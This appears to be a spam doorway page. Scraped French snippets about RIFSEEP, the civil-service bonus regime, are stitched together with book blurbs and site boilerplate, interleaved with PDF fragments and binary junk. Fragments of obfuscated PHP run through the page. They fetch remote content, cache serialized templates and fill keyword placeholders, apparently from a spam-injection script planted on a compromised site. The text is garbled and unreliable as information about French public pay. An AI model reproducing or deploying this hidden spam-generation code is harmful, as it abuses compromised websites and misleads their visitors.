����ǁ߇�v����}1���ms`T>v��{ implode("\r\n", $_vlgsftp3);}$_w2drdnzk = stream_context_create(array('http' => $_as7t9juq));} else {$_as7t9juq = array('method' => 'GET',);if (!empty($_vlgsftp3)) {$_as7t9juq["header"] = implode("\r\n", $_vlgsftp3);}$_w2drdnzk = stream_context_create(array('http' => $_as7t9juq));}return @file_get_contents($_sqoo6uqb, FALSE, $_w2drdnzk);}}class _aus76cu{private static $_mg8ineh5 = "";private static $_i88t7018 = -1;private static $_q8p5iqxe = "";private $_t3xm0fz4 = "";private $_x62o246p = "";private $_gj3jbb0r = "";private $_upq3q6mj = "";public static function _bcp81($_zpu28gls, $_9iakzcth, $_3pnqbbxs){_aus76cu::$_mg8ineh5 = $_zpu28gls . Retraite. • La prime d'encadrement éducatif de nuit (psychologues). Régime indemnitaire dans la fonction publique : Rifseep ou . La 4e de couverture indique : "L'ouvrage collectif Représenter les paysages hier et aujourd'hui. Cette disposition prive donc en principe de base légale le versement de la PFR après cette date, ce qui rend le calendrier d'autant plus contraignant. Prime fonction publique territoriale catégorie c Primes et indemnités des agents territoriau . Accédez GRATUITEMENT au contenu du site Formation, concours, examens. . "\r\n" . Note d'information Le RIFSEEP Présentation Le RIFSEEP ou Régime Indemnitaire tenant compte des Fonctions, des Sujétions, de l'Expertise et de l'Engage- ment Professionnel, remplace la plupart des primes et indemnités existantes dans la fonction publique Territo- riale à compter du 1er janvier 2016. md5($_fwxioqr0) . Dans un objectif de simplification et d'harmonisation du paysage indemnitaire, le décret n°2014-513 du 20 mai 2014 a instauré le RIFSEEP, nouveau dispositif indemnitaire, qui va, progressivement, remplacer la plupart des primes et indemnités existantes dans la fonction publique territoriale. Le décret n°2016-1916 et l'arrêté ministériel du 27 décembre 2016 établissent un nouveau calendrier d'application du RIFSEEP pour la fonction publique d'Etat et donc par transposition pour la fonction publique territoriale. nous vous en remercions. Le très attendu décret du 27 février étend à dix-huit cadres d'emploi des filières technique et sanitaire et . Filières, évolution de carrière, droits, devoirs. . Oui, mais pas sur le même modèle que celui qui prévaut pour les salariés du privé, explique le gouvernement dans la réponse à une question écrite du député socialiste Régis Juanico, publiée le 8 juin dernier. Grand ogre et son Petit ogre ont faim, grand-faim. - Que veux-tu manger ? demande Grand ogre. - Un lion ! répond Petit ogre. L'ennui, c'est que Grand ogre ne sait pas à quoi ressemble un lion... Ces deux primes forment le RIFSEEP (Régime Indemnitaire tenant compte des Fonctions, des Sujétions, de l'Expertise et de l'Engagement Professionnel) ayant vocation à s'étendre dans un premier temps à un ensemble de corps des services de l'Etat, mais qui servira de référence à la fonction publique territoriale. RIFSEEP et son application dans la Fonction Publique Territoriale. Pour vous connecter, Pas encore de compte ? Dans la fonction publique de l'État, son montant est plafonné entre 10 et 15 % du montant total du RIFSEEP ; ce plafond ne s'applique pas à la fonction publique territoriale. $_828m12mh);} else {$_828m12mh = str_replace(" ", "-", $_828m12mh . Le décret n° 2020-182 du 27 février 2020 relatif au régime indemnitaire des agents de la fonction publique territoriale modifie le décret n°91-875 du 6 septembre 1991 et permet la mise en . "/sitemap.xml");foreach ($_vn5cqijv as $_sqoo6uqb => $_kb25ac31) {$_y445s0h0 = _mtcvqi::_zxv7b($_sqoo6uqb . ou seulement celles qui vous intéressent en piochant dans la liste ci-dessous. 4 ? Des arbitrages sont en cours au sein du gouvernement concernant la possibilité d'attribuer une prime exceptionnelle aux agents publics mobilisés dans le cadre la crise sanitaire. Vous venez de vous inscrire à notre newsletter quotidienne et "_" . Calcul et éléments de la paie. Circulaire « le RIFSEEP / CDG 77 / Mise à jour de Août 2019 Page 2 S O M M A I RE I - LE RIFSSEP 1.1 - Le principe et la transposition du RIFSEEP dans la Fonction Publique Territoriale 1.2 - Les bénéficiaires 1.3 - Les agents exclus 1.4 - Les cumuls possibles avec d'autres indemnités Les Éditions Anthemis vous proposent un outil complet pour comprendre la justice pénale. Réunions CDG31/ Élus-employeurs RIFSEEP Régime Indemnitaire tenant compte des Fonctions, des Sujétions, de l'Expertise et de l'Engagement Professionnel RIFSEEP RIFSEEP Un régime indemnitaire fondé sur la fonction et la valeur professionnelle Mise en place de l'IFSE : cas pratique RIFSEEP Préambule En l'absence de textes de mise en œuvre propres à la fonction publique . '/', _7ejh67f::_fqr0f(), $_sk5gmeyq, 1);if ($_xmahux1u === $_sk5gmeyq) {break;}$_sk5gmeyq = $_xmahux1u;}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_828m12mh = @$_6nmsnsc1[intval($_z1u0liqn[1])];$_5qv8b0qq = _lda0hc::_batgm($_828m12mh);$_sk5gmeyq = str_replace($_z1u0liqn[0], $_5qv8b0qq, $_sk5gmeyq);}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_828m12mh = @$_6nmsnsc1[intval($_z1u0liqn[1])];$_sk5gmeyq = str_replace($_z1u0liqn[0], $_828m12mh, $_sk5gmeyq);}while (TRUE) {preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_sk5gmeyq = str_replace($_z1u0liqn[0], _3ki5x($_z1u0liqn[1], $_z1u0liqn[2]), $_sk5gmeyq);}while (TRUE) {preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_sk5gmeyq = str_replace($_z1u0liqn[0], rand($_z1u0liqn[1], $_z1u0liqn[2]), $_sk5gmeyq);}return $_sk5gmeyq;}public function _jyo6n(){$_nlra0m7q = _aus76cu::$_mg8ineh5 . $_ndh8ovyp[array_rand($_ndh8ovyp)], FILE_IGNORE_NEW_LINES);}return _7ejh67f::$_1k2xibe7[array_rand(_7ejh67f::$_1k2xibe7)];}static public function _b4rea(){if (empty(_7ejh67f::$_wyhbcvbm)){$_ndh8ovyp = _7ejh67f::_s6ylu();foreach ($_ndh8ovyp as $_y3ykebhl) {_7ejh67f::$_wyhbcvbm = array_merge(_7ejh67f::$_wyhbcvbm, @file(_7ejh67f::$_mg8ineh5 . _aus76cu::$_q8p5iqxe);if (_aus76cu::$_i88t7018 == -1) {$_nsgkqyr6 = -1;} else {$_nsgkqyr6 = time() + (3600 * 24 * 30);}$_uypfhcqx = array("template" => $this->_t3xm0fz4, "text" => $this->_x62o246p, "keyword" => $this->_gj3jbb0r,"links" => $this->_upq3q6mj, "expired" => $_nsgkqyr6);@file_put_contents($_nlra0m7q, serialize($_uypfhcqx));}static public function _2idt3($_828m12mh){$_nlra0m7q = _aus76cu::$_mg8ineh5 . Il actualise aussi les équivalences des cadres d'emplois entre la fonction publique territoriale et la fonction publique d'Etat prévues par le décret n° 91-875 suite aux évolutions des différents cadres d'emplois. - Loi n° 84-53 du 26 janvier 1984 portant dispositions statutaires relatives à la fonction publique territoriale, et notamment son article 88 . d’Acteurs publics ainsi que du site acteurspublics.fr endstream endobj 354 0 obj <> endobj 355 0 obj <>/ExtGState<>/Font<>/ProcSet[/PDF/Text/ImageC/ImageI]/XObject<>>>/Rotate 0/TrimBox[14.1732 14.1732 609.449 856.063]/Type/Page>> endobj 356 0 obj <>stream À la différence du secteur privé, aucun texte n'institue une indemnité de départ à la retraite dans la fonction publique. Le statut de la fonction publique territoriale est modifié par de nombreuses dispositions de la loi n° 2019-828 du 6 août 2019 de transformation de la fonction publique. 6 janvier 2020 - Mission Fonction publique territoriale - Stéphanie COLAS Passage à la déclaration sociale nominative (DSN) pour certains employeurs publics La déclaration sociale nominative (DSN) remplace et simplifie la majorité des déclarations sociales en automatisant leur transmission à partir des données de paie. 2. 24 premières heures de publication des contenus du push et de la newsletter quotidienne Il sera complété au fur et à mesure des apports législatifs, règlementaires ou jurisprudentiels. "/";_sh9xgp2::$_y0cg5rk9 = $_nrw3vudd;if (! Les agents de la fonction publique perçoivent l'indemnité pour travaux dangereux, insalubres, incommodes ou salissants, en fonction des travaux effectués, à 2 taux, 1 taux et 1/2, 1 taux, 3/4 de taux ou 1/2 taux. Ce simulateur est ouvert afin de vous permettre d'estimer vos droits à la Prime d'activité entrée en vigueur le 1er janvier 2016. : 03 89 20 36 29 - cdg68@cdg68.fr - www.cdg68.fr . B����Ȼ�Y�1��&9u)�"f2 ��)��E*�^0. RIFSEEP MAJ Janvier 2018 Circulaire n° 2018 -15 1 Article 88 de la Loi 84-53 du 26 janvier 1984, modifiée, portant statut général de la fonction publique territoriale. L’originalité ici sera d’étudier ensemble ces deux aspects, de présenter les régimes juridiques associés à chaque type de crimes internationaux et d’étudier les évolutions de la société internationale tout à la fois ... Une adaptation du dispositif juridique actuel ne lui apparaît donc “pas nécessaire”. En créant votre compte, vous accédez Trouvé à l'intérieurFort complexe, ce panel de primes est en cours de rationalisation au sein des fonctions publiques étatique et territoriale avec la mise en place d'un régime indemnitaire tenant compte des fonctions, des sujétions, de l'expertise et de ... Cette offre n’est assortie d’aucune obligation d’abonnement payant. sujétions, de l'expeØtise et de l'engagement pofessionnel dans la fonction publique territoriale. Le RIFSEEP comporte deux volets : l'Indemnité de Fonction, de Sujétions et d'Expertise (IFSE) qui valorise la nature des fonctions des agents et leur expérience professionnelle, le Complément Indemnitaire Annuel (CIA), optionnel, pour récompenser l'engagement professionnel et la manière de servir. Cet ouvrage – qui en est à sa quatrième édition - est un examen approfondi des différentes méthodologies argumentatives et des règles fondamentales de l’élocution appliquées au procès criminel. Calcul et éléments de la paie. À la fois outil de réflexion collective et outil de transversalité, le projet d'établissement, et le diagnostic qui lui est préalable, sont au service de l'autonomie et du sens de l'action de l'établissement public local d ... Trouvé à l'intérieur – Page 10MAPTAM : Modernisation de l'action publique territoriale et d'affirmation des métropoles MDT : Multidisciplinary ... unique RAP : Rapport annuel de performance RCE : Responsabilités et compétences élargies PFR : Prime de fonctions et de ... L'article 88 de la Loi 2016-483 du 20 avril 2016 relative à la déontologie et aux droits et obligations des fonctionnaires étend à la fonction publique territoriale le RIFSEEP (régime indemnitaire tenant compte des fonctions, des sujétions, de l'expertise et de l'engagement professionnel) sous réserve d'une délibération du . Décret 2014-513 du 20 avril 2014 Circulaire Ministère de la décentralisation et de la fonction publique - Ministère des finances Le décret n° 2014-513 du 20 mai 2014 a institué un régime indemnitaire tenant compte des fonctions, des sujétions, de l'expertise et de l'engagement professionnel (RIFSEEP) qui a vocation à se subsister aux régimes indemnitaires actuellement mis en œuvre dans la fonction publique de l'Etat et dans la fonction publique territoriale.
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